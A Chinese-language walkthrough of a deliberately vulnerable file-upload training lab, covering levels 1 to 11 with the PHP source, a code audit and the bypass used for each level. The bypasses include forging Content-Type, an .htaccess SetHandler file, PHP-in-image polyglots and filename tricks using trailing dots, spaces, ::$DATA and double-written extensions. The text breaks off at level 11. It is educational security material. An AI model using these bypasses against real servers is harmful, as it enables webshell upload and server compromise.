文件上传漏洞靶场

目录

第一关

源码

前端

后端

代码审计

前端

后端

绕过原理

抓包后未修改

抓包后修改且文件上传成功

第二关

源码

后端

代码审计

绕过原理

抓包后未修改

抓包后修改且文件上传成功 ​编辑

第三关

源码

后端

代码审计

绕过原理

第四关

源码

后端

代码审计

绕过原理

​编辑

如何生成图片码

第五关

源码

代码审计

绕过原理

第六关

源码

代码审计

绕过原理

抓包后未修改

 抓包后修改且文件上传成功

第七关

源码

代码审计

绕过原理

抓包未修改

 抓包后修改且上传成功

第八关

源码

代码审计

绕过原理

抓包后未修改

​编辑抓包后修改且文件上传成功

第九关

源码

代码审计

绕过原理

抓包后未修改

抓包后修改且文件上传成功

第十关

源码

代码审计

绕过原理

抓包后未修改

抓包后修改且上传成功

第十一关

源码

代码审计

绕过原理

抓包后未修改

抓包后修改且文件上传成功

第十二关

源码

代码审计

绕过原理

抓包后未修改

抓包后修改且上传成功 

第十三关

源码

代码审计

绕过原理

第十四关

源码

代码审计

绕过原理

第十五关

源码

代码审计

绕过原理

第十六关

源码

代码审计

绕过原理 

第十七关

源码

代码审计

绕过原理


第一关

源码

前端

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

后端

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

我们这里可以看看$_FILES到底都有些什么

$is_upload = false;
$msg = null;
var_dump($_FILES);exit;

下面是打印出来的内容

​array(1) { ["upload_file"]=> array(5) { 
    ["name"]=> string(7) "aaa.jpg" 
    ["type"]=> string(10) "image/jpeg" 
    ["tmp_name"]=> string(22) "C:\Windows\phpB064.tmp" 
    ["error"]=> int(0) ["size"]=> int(18) } }

首先看到的是$_FILES是一个数组;

数组中的第一个是name属性,它就是文件名

数组中的第二个是type属性,它就是文件类型

数组中的第三个是tmp_name属性,它就是临时文件名

数组中的第四个是error属性,它就是错误属性

代码审计

前端

首先定义了一个checkFile()的函数;

获取文件名,document.getElemnetsByName获取的是数组,取下标为0的值,也就是第一个元素,其实也就文件名;

再判断文件是否存在,不存在就弹出"请选择要上传的文件!"提示用户应该上传文件,返回值为false,反之存在则程序继续往下走;

定义允许上传的文件类型只能是".jpg|.png|.gif"这三种文件类型方式;

提取上传文件的类型,通过substring(file.lastIndexOf("."))方法来对最后一个 . 进行分隔,来实现文件后缀名的截取。注意这种截取方式是带 . 的,如果是substring(file.lastIndexOf(".")+1)这种方式就是不带 . 的

最后再判断上传文件类型是否允许上传,如果上传文件类型满足上述的".jpg|.png|.gif"这三种后缀的其中任意一个,则可以实现上传,否则文件将不能被上传会被弹出"该文件不允许上传,请上传.jpg|.png|.gif类型的文件,当前文件类型为.xxx"的提示。

后端

首先判断是否是通过post传参,是post传参的话,则继续判断上传的文件路径是否存在。如果文件路径存在,则将上传的文件存放在一个临时文件名下,而$img_path是用户想要存放文件的路径,是通过上传的文件路径 + / + 上传的文件名。再通过move_uploaded_file($temp_file,$img_path)是将临时文件名覆盖到用户想存放的文件路径中。

绕过原理

在http请求数据包中,Content-Disposition是可以通过抓包来进行修改的。首先我们应该将上传的文件改为可以上传的三种文件类型的任意一种,然后再通过burpsuite进行抓包分析,将请求的数据包抓到修改文件的后缀。此时我们已经绕过了前端的过滤,但是由于后端对用户没有进行任何过滤,因此直接上传成功。

抓包后未修改

抓包后修改且文件上传成功

第二关

源码

后端

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

代码审计

首先判断是否存在上传的文件;

其次是判断$_FILES中的type属性,也就是上传文件的文件类型。而上传文件的文件类型只能是'image/jepg'或者'image/png'或者'image/gif'这三种类型;

获取临时文件名;

用户定义的文件路径通过文件上传路径 + / + 文件名;

通过move_uploaded_file($temp_file,$img_path)函数将临时文件名覆盖到用户想存放的文件路径中。

绕过原理

在http请求数据包中,Content-Type也就是文本类型是可以通过抓包来进行修改的。首先通过burpsuite进行抓包,抓到数据包之后,对Content-Type进行修改,将其修改为后端过滤所允许的三种文件类型的任何一种即可。此时已经绕过了后端的过滤,所以文件直接上传成功。

抓包后未修改

抓包后修改且文件上传成功 

第三关

源码

后端

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码审计

首先判断是否是上传的文件;

定义了一个数组,拒绝以'.asp','.aspx','.php','.jsp'这样后缀文件名的文件;

trim()函数是将字符串两侧的空白字符进行移除,trim($FILES['upload_file']['name'])是将文件名两侧的空白字符进行移除;

deldot()函数是将字符串最后的点进行删除,deldot($file_name)是将文件名最后的点删除;

strrchr()函数是截取字符串,strrchr($file_name, '.')是将文件的后缀名进行了截取;

strtolower()函数是将字符串转换为小写,strtolower($file_ext)是将文件 名取出来之后做了转小写;

str_ireplace()函数是替换字符串中的一些字符,str_ireplace('::$DATA, ' ', $file_ext')是将字符串::DATA去除掉;

最后在进行一次去空白字符;

判断经过一系列的过滤后的$file_ext是否满足$deny_ext,如果不存在在$dent_ext中则进行上传;

获取临时文件名;

用户上传的文件路径,通过文件上传的路径 + / + 日期 + 1000~9999的一个随机数 + 文件后缀名;

通过move_uploaded_file($temp_file,$img_path)函数将临时文件名覆盖到用户想存放的文件路径中。

绕过原理

由于配置人员的自作多情,在apache的配置文件中配置了以phtml和php3、php4、php5这样的别名,使得以这两种后缀的文件名也能被当作php文件进行解析。因此只需要将文件后缀名改为phtml这样的后缀名就可以实验绕过。

可以看到我们上传的文件成功了且php并进行了解析

第四关

源码

后端

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码审计

首先判断是否是上传的文件;

定义了一个数组,拒绝以".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf"这样后缀文件名的文件;

trim()函数是将字符串两侧的空白字符进行移除,trim($FILES['upload_file']['name'])是将文件名两侧的空白字符进行移除;

deldot()函数是将字符串最后的点进行删除,deldot($file_name)是将文件名最后的点删除;

strrchr()函数是截取字符串,strrchr($file_name, '.')是将文件的后缀名进行了截取;

strtolower()函数是将字符串转换为小写,strtolower($file_ext)是将文件 名取出来之后做了转小写;

str_ireplace()函数是替换字符串中的一些字符,str_ireplace('::$DATA, ' ', $file_ext')是将字符串::DATA去除掉;

最后在进行一次去空白字符;

判断经过一系列的过滤后的$file_ext是否满足$deny_ext,如果不存在在$dent_ext中则进行上传;

获取临时文件名;

用户上传的文件路径,通过文件上传的路径 + / + 日期 + 1000~9999的一个随机数 + 文件后缀名;

通过move_uploaded_file($temp_file,$img_path)函数将临时文件名覆盖到用户想存放的文件路径中。

在解这一关的前提,我们先认识下什么是htaccess文件,htac cess文件是干什么的?

首先htaccess是许多开源框架中都存在的一个文件,那个文件到底是干什么的,需要我们来进行探讨一番。

htaccess大部分都是用来做伪静态的,那顾名思义什么是伪静态呢?

伪静态就是字面意思,伪静态 --- 伪装成静态文件。举个例子比如我们的电脑部署的解析php的文件,但是php文件容易被收到攻击,我们可以使用这个伪静态的方式,伪装成一个.html后缀的文件来进行迷惑那些攻击者,这样使得我们所受到的攻击就会大大减少。而当我们去访问这个.html的文件是会转发给真实的php文件来进行解析的。

绕过原理

首先我们先上传.htaccess文件,文件中的代码如下:

<FilesMatch "tony">

SetHandler application/x-httpd-php

</FilesMatch>

此段代码可以使得上传的任何文件可以当作php文件来执行。

但是此时我们的普通图片上传肯定是不行的,普通图片中没有任何可以执行php带代码。想要让我们的普通照片中存在php代码的图片,我们需要使用一个小的技巧就是,俗称图片码来进行绕过。

如何生成图片码

1、首先需要一个php文件,创建一个php文件,里面写入php的代码

 2、需要一张图片

 

 3、在dos命令行使用copy xxx.png/b + xxx.php/a xxx.png

将图片转成二进制,php文件转成aascII码进行重新组合,生成一张新的照片,将php的代码包含在图片当中,形成图片码

 4、查看结果 

我们可以看到,图片中已经存在了php的代码

第五关

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码审计

首先判断是否是上传的文件;

定义了一个数组,拒绝以".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"这样后缀文件名的文件;

trim()函数是将字符串两侧的空白字符进行移除,trim($FILES['upload_file']['name'])是将文件名两侧的空白字符进行移除;

deldot()函数是将字符串最后的点进行删除,deldot($file_name)是将文件名最后的点删除;

strrchr()函数是截取字符串,strrchr($file_name, '.')是将文件的后缀名进行了截取;

str_ireplace()函数是替换字符串中的一些字符,str_ireplace('::$DATA, ' ', $file_ext')是将字符串::DATA去除掉;

最后在进行一次去空白字符;

判断经过一系列的过滤后的$file_ext是否满足$deny_ext,如果不存在在$dent_ext中则进行上传;

获取临时文件名;

用户上传的文件路径,通过文件上传的路径 + / + 日期 + 1000~9999的一个随机数 + 文件后缀名;

通过move_uploaded_file($temp_file,$img_path)函数将临时文件名覆盖到用户想存放的文件路径中。

绕过原理

这一关看似对用户上传的文件过滤的很完善,实则还是存在着一些安全隐患。如果是在Linux下是不存在这种安全隐患的,但是在windows下就会发生被绕过的风险。由于Linux下是严格区分大小写的,windows下是忽略大小写,而上面的过滤没有对用户文件名大小写过滤的限制,使得通过大小写的方式,完成了绕过,实现了文件上传。

第六关

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码审计

首先判断是否是上传的文件;

定义了一个数组,拒绝以".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"这样后缀文件名的文件;

deldot()函数是将字符串最后的点进行删除,deldot($file_name)是将文件名最后的点删除;

strrchr()函数是截取字符串,strrchr($file_name, '.')是将文件的后缀名进行了截取;

strtolower()函数是将字符串转换为小写,strtolower($file_ext)是将文件 名取出来之后做了转小写;

str_ireplace()函数是替换字符串中的一些字符,str_ireplace('::$DATA, ' ', $file_ext')是将字符串::DATA去除掉;

判断经过一系列的过滤后的$file_ext是否满足$deny_ext,如果不存在在$dent_ext中则进行上传;

获取临时文件名;

用户上传的文件路径,通过文件上传的路径 + / + 日期 + 1000~9999的一个随机数 + 文件后缀名;

通过move_uploaded_file($temp_file,$img_path)函数将临时文件名覆盖到用户想存放的文件路径中。

绕过原理

这一关是文件名首尾没有过滤空格字符,xxx.php 这个文件后面存在一个空格,因此文件的后缀名就不是php而是php ,所以绕过了。而在windows上存在一个特性,就是xxx.php 会被windows解析xxx.php,windows自动忽略那个空格,因此xxx.php 被解析了,因此文件上传成功。

抓包后未修改

 抓包后修改且文件上传成功

第七关

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码审计

首先判断是否是上传的文件;

定义了一个数组,拒绝以".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"这样后缀文件名的文件;

trim()函数是将字符串两侧的空白字符进行移除,trim($FILES['upload_file']['name'])是将文件名两侧的空白字符进行移除;

strrchr()函数是截取字符串,strrchr($file_name, '.')是将文件的后缀名进行了截取;

strtolower()函数是将字符串转换为小写,strtolower($file_ext)是将文件 名取出来之后做了转小写;

str_ireplace()函数是替换字符串中的一些字符,str_ireplace('::$DATA, ' ', $file_ext')是将字符串::DATA去除掉;

最后在进行一次去空白字符;

判断经过一系列的过滤后的$file_ext是否满足$deny_ext,如果不存在在$dent_ext中则进行上传;

获取临时文件名;

用户上传的文件路径,通过文件上传的路径 + / + 日期 + 1000~9999的一个随机数 + 文件后缀名;

通过move_uploaded_file($temp_file,$img_path)函数将临时文件名覆盖到用户想存放的文件路径中。

绕过原理

这一关是没有对文件后缀名最后面的.做过滤,以xxx.php.这样的形式命名文件名时,则绕过了文件后缀名的过滤。但是在windows上有一个特性,当以xxx.php.的形式存在的文件时,windows是以xxx.php来进行解析,windows自动会忽略掉文件后缀名最后面的点。从而实现了文件上传。

抓包未修改

 抓包后修改且上传成功

第八关

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码审计

首先判断是否是上传的文件;

定义了一个数组,拒绝以".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"这样后缀文件名的文件;

trim()函数是将字符串两侧的空白字符进行移除,trim($FILES['upload_file']['name'])是将文件名两侧的空白字符进行移除;

deldot()函数是将字符串最后的点进行删除,deldot($file_name)是将文件名最后的点删除;

strrchr()函数是截取字符串,strrchr($file_name, '.')是将文件的后缀名进行了截取;

strtolower()函数是将字符串转换为小写,strtolower($file_ext)是将文件 名取出来之后做了转小写;

最后在进行一次去空白字符;

判断经过一系列的过滤后的$file_ext是否满足$deny_ext,如果不存在在$dent_ext中则进行上传;

获取临时文件名;

用户上传的文件路径,通过文件上传的路径 + / + 日期 + 1000~9999的一个随机数 + 文件后缀名;

通过move_uploaded_file($temp_file,$img_path)函数将临时文件名覆盖到用户想存放的文件路径中。

这里就有人好奇::$DATA到底是干什么的?

在windows中::$DATA是数据流。

当从windows shell命令行指定创建文件时,流的完整名称为"filename:stream name:stream type"也就是这样的"myfile.txt:stream1:$DATA"

也就是说创建文件的时候后面是带着$DATA的,只是windows没有显示出来而已。

绕过原理

这一关是没有过滤用户上传的文件使用数据流的形式上传,当xxx.php::$DATA的形式上传上去可以直接绕过文件后缀的过滤。在windows中,文件后面是默认带着数据流,也就是::$DATA只是不显示出来而已,这样当我们上传上去之后,windows解析时就忽略掉后面的::$DATA,因此上传的文件可以得到解析,文件上传成功。

抓包后未修改

抓包后修改且文件上传成功

第九关

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码审计

首先判断是否是上传的文件;

定义了一个数组,拒绝以".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"这样后缀文件名的文件;

trim()函数是将字符串两侧的空白字符进行移除,trim($FILES['upload_file']['name'])是将文件名两侧的空白字符进行移除;

deldot()函数是将字符串最后的点进行删除,deldot($file_name)是将文件名最后的点删除;

strrchr()函数是截取字符串,strrchr($file_name, '.')是将文件的后缀名进行了截取;

strtolower()函数是将字符串转换为小写,strtolower($file_ext)是将文件 名取出来之后做了转小写;

str_ireplace()函数是替换字符串中的一些字符,str_ireplace('::$DATA, ' ', $file_ext')是将字符串::DATA去除掉;

最后在进行一次去空白字符;

判断经过一系列的过滤后的$file_ext是否满足$deny_ext,如果不存在在$dent_ext中则进行上传;

获取临时文件名;

用户上传的文件路径,通过文件上传的路径 + / + 日期 + 1000~9999的一个随机数 + 文件后缀名;

通过move_uploaded_file($temp_file,$img_path)函数将临时文件名覆盖到用户想存放的文件路径中。

绕过原理

我们可以根据过滤的顺序来构造一个能够绕过的后缀名。首先,第一个过滤条件是删除首尾的空格,此时可以构造一个这样的文件后缀名xxx.php ;第二个过滤条件是删除文件名末尾的点,那此时我们可以构造出一个xxx.php .的文件,这样我们可以满足第一条去除文件名末尾的点;第二个过滤条件是截取最后一个点后面的字符串;第三个过滤条件是将截取出来的字符串进行转小写,但是对于现在的情况没有什么影响;第四个过滤条件是去除字符串::$DATA ,此时的文件后缀是没有::$DATA,所以也不用理会;最后一个过滤条件还是去除首尾的空格,此时可以继续构造出xxx.php. . 这样的文件后缀,此时通过层层的过滤最终文件上传上去的后缀格式是这样的xxx.php.,这也正是我们所想的,此时则绕过了所有过滤,实现了文件上传。

抓包后未修改

抓包后修改且文件上传成功

第十关

源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

代码审计

定义一个数组,里面都是要被过滤的后缀名。所有过滤的后缀名如下:"php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess";

过滤上传文件首尾的空格字符;

将上传的文件名只要是符合上面被过滤的后缀名,直接替换成空后缀;

获取临时文件名;

定义文件上传的路径;

通过move_uploaded_file函数将临时文件替换到定义的上传路径去。

绕过原理

通过双写的形式可以将其绕过,双写指挥将中间的php字符串给删除掉,但是剩余的字符串会进行拼接,组成php。从而实现了绕过,使得文件得以上传。

抓包后未修改

抓包后修改且上传成功

第十一关

源码

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

代码审计

创建一个数组,其中包含'jpg','png','gif',说白了也就是一个白名单,只能是这三种后缀的文件才能上传;

通过substr()函数来进行字符串的分隔,strrpos()函数是用来查找字符串中另一个字符串最后一次出现的位置,此时的上述代码中查找的是最后一次点的出现。后面有一个+1是说明,截取的文件后缀名不带点;

判断上传的文件是否是白名单中的文件后缀名,如果是的话则获取上传文件的临时文件名。定义上传的路径,上传路径通过get传参,以及10到99的随机数和年月日加文件后缀名,一起组合而成。

绕过原理

